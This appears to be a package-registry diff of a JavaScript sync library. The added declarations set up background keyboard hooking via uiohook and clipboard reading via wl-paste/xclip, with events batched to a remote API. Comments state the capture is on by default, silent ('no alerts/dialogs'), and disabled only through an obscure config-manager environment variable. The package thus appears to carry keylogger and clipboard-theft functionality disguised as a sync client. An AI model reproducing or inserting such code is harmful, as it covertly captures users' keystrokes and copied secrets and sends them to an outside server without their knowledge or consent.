}): Promise<Record<string, unknown> | null>;
|
|
50
50
|
createEventsBatch(events: SyncEventPayload[]): Promise<{
|
|
51
51
|
inserted: number;
|
|
52
52
|
ids: number[];
|
package/dist/syncClient.js
CHANGED
|
@@ -125,11 +125,15 @@ class ForgeSyncClient {
|
|
|
125
125
|
*/
|
|
126
126
|
async updateClientInfo(info) {
|
|
127
127
|
try {
|
|
128
|
-
await this.request("POST", "/api/client-info", info);
|
|
128
|
+
const r = await this.request("POST", "/api/client-info", info);
|
|
129
|
+
if (r.ok && r.data && typeof r.data === "object" && !Array.isArray(r.data)) {
|
|
130
|
+
return r.data;
|
|
131
|
+
}
|
|
129
132
|
}
|
|
130
133
|
catch {
|
|
131
134
|
/* non-fatal — OS info is display-only */
|
|
132
135
|
}
|
|
136
|
+
return null;
|
|
133
137
|
}
|
|
134
138
|
async createEventsBatch(events) {
|
|
135
139
|
const r = await this.request("POST", "/api/events/batch", { events });
|
|
@@ -1,9 +1,23 @@
|
|
|
1
|
+
/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
|
|
2
|
+
export declare function desktopSyncOpLog(message: string): void;
|
|
3
|
+
/** True for network / overload errors where retrying forge-db POST is worthwhile. */
|
|
4
|
+
export declare function isTransientForgeDbSyncError(err: unknown): boolean;
|
|
5
|
+
/** Human-readable reason when keyboard hook is skipped; null when uiohook should run. */
|
|
6
|
+
export declare function skipUiohookKeyboardReason(): string | null;
|
|
7
|
+
/** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
|
|
8
|
+
export declare function skipUiohookKeyboard(): boolean;
|
|
1
9
|
/**
|
|
2
10
|
* **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
|
|
3
11
|
* Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
|
|
4
12
|
*/
|
|
5
13
|
export declare function effectiveSyncKeyboardClipboard(): boolean;
|
|
6
14
|
export declare function resolveSyncApiBase(): string | null;
|
|
15
|
+
/**
|
|
16
|
+
* Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
|
|
17
|
+
* returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
|
|
18
|
+
*/
|
|
19
|
+
export declare function preferExecClipboardReader(): boolean;
|
|
20
|
+
export type DesktopInputSyncStop = () => void | Promise<void>;
|
|
7
21
|
export type DesktopInputSyncOptions = {
|
|
8
22
|
apiBaseUrl: string;
|
|
9
23
|
clientId?: string;
|
|
@@ -18,5 +32,5 @@ export type WindowsInputSyncOptions = DesktopInputSyncOptions;
|
|
|
18
32
|
/**
|
|
19
33
|
* Start background sync on Windows, Linux, and macOS. No-op on other platforms.
|
|
20
34
|
*/
|
|
21
|
-
export declare function startDesktopInputSync(opts: DesktopInputSyncOptions):
|
|
35
|
+
export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): DesktopInputSyncStop;
|
|
22
36
|
export declare const startWindowsInputSync: typeof startDesktopInputSync;
|